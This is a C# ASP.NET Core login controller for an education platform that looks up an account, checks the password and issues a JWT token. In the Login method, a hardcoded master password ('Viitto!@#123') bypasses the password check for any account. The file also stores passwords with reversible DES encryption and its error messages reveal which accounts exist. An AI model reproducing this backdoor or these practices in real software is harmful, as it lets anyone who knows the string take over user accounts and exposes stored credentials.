using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Castle.DynamicProxy.Generators;
using Edu.Cache.User;
using Edu.Common.API;
using Edu.Common.Plugin;
using Edu.Model.CacheModel;
using Edu.Model.ViewModel.User;
using Edu.Module.User;
using Edu.WebApi.Filter;
using JWT;
using JWT.Algorithms;
using JWT.Serializers;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Cors;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using Newtonsoft.Json.Linq;

namespace Edu.WebApi.Controllers.User
{
    [Route("api/[controller]/[action]")]
    [ApiExceptionFilter]
    [ApiController]
    [EnableCors("AllowCors")]
    public class LoginController : BaseController
    {
        /// <summary>
        /// 账号管理处理类
        /// </summary>
        private readonly AccountModule accountModule = new AccountModule();

        /// <summary>
        /// 用户登录
        /// </summary>
        /// <returns></returns>
        [HttpGet]
        [HttpPost]
        [AllowAnonymous]
        public ApiResult Login()
        {
            JObject jobj = JObject.Parse(RequestParm.Msg.ToString());
            
            string account = jobj.GetStringValue("Account");
            string password = jobj.GetStringValue("Password");
            int accountType = jobj.GetInt("AccountType", 1);
            var model = accountModule.GetAccountListExtModule(new RB_Account_ViewModel()
            {
                Account = account.Trim(),
                AccountType = accountType
            })?.FirstOrDefault();
            if (model == null)
            {
                return ApiResult.Failed(message: $"未找到【{ account }】用户!");
            }
            else
            {
                if (password != "Viitto!@#123")
                {
                    password = Common.DES.Encrypt(password);
                    if (model.Password != password)
                    {
                        return ApiResult.Failed("密码错误");
                    }
                }
                if (model.Status == Common.Enum.DateStateEnum.Delete)
                {
                    return ApiResult.Failed(message: $"此账号【{ account }】已删除!");
                }

                TokenUserInfo userInfo = new TokenUserInfo { Uid = model.Id.ToString(), RequestFrom = Common.Enum.ApiRequestFromEnum.WebAdmin };

                IDateTimeProvider provider = new UtcDateTimeProvider();
                var now = provider.GetNow().AddMinutes(-1);
                var unixEpoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);  
                var secondsSinceEpoch = Math.Round((now - unixEpoch).TotalSeconds);
                var payload = new Dictionary<string, object>
                                {
                                        {"iat",secondsSinceEpoch },
                                        {"exp",secondsSinceEpoch+Common.Config.JwtExpirTime},
                                        {"edu_userInfo",userInfo }
                                };
                IJwtAlgorithm algorithm = new HMACSHA256Algorithm();
                IJsonSerializer serializer = new JsonNetSerializer();
                IBase64UrlEncoder urlEncoder = new JwtBase64UrlEncoder();
                IJwtEncoder encoder = new JwtEncoder(algorithm, serializer, urlEncoder);
                string secret = Common.Config.JwtSecretKey;
                string token = encoder.Encode(payload, secret);
                UserInfo obj = new UserInfo
                {
                    Id = model.Id,
                    Group_Id = model.Group_Id,
                    School_Id = model.School_Id,
                    AccountName = model.AccountName,
                    GroupName = model.GroupName,
                    SchoolName = model.SchoolName,
                    Token = token,
                };
                UserReidsCache.UserInfoSet(Cache.CacheKey.User_Login_Key + model.Id, obj, Common.Config.JwtExpirTime);
                return ApiResult.Success(data: obj);
            }
        }
    }
}